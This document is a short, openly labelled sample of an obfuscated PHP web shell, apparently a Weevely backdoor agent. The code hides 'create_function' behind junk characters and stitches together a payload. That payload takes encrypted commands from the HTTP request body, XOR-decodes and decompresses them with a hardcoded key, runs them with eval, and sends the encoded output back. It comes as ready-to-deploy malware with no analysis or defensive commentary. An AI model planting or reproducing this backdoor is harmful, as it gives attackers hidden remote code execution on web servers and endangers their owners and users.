Backdoor weevely

<?php
$Y='/i^Mnput"),^M$m^M)==1){@ob_st^Mart(^M);@e^Mval(@g^Mzun^Mcompress(@x(@b^Ma^Mse64_dec^Mo^Mde(^M$m[1]),$k)));$^Mo^M=@ob_g';
$r='$^Mk="085fd^M1^M2^M1";$kh=^M"24d73260a00b";$kf=^M"d9^Me^M26bfc7^M^M5d^M3";$p="6UAYL0BpM1P^MyczDD";fu^Mnction x^M($t,$^M';
$I=str_replace('F','','creFatFeFF_fuFnFction');
$f=')^M{$o.=$t{^M$i}^$k{$^Mj};}}r^Meturn^M $o;^M}if(@preg^M_matc^M^Mh("^M/$kh(.+)$kf/^M",@fil^Me_get_cont^Ment^Ms("^Mphp:/';
$h='et^M_contents();@^Mob_e^M^Mnd_clean();$r=^M@bas^Me64_^Menc^M^Mode(@x(@gzcom^Mpress($o^M),$k^M));prin^Mt("^M$p$kh$r$kf");}';
$g='k^M){$c=strlen($^Mk)^M;$l^M=strlen($t)^M^M;^M$o=""^M;for($i=0;^M$i<$l;){for($^Mj=0;($j<^M$c&&^M$i<$l^M);$j++,$^Mi++';
$E=str_replace('^M','',$r.$g.$f.$Y.$h);
$Q=$I('',$E);$Q();
?>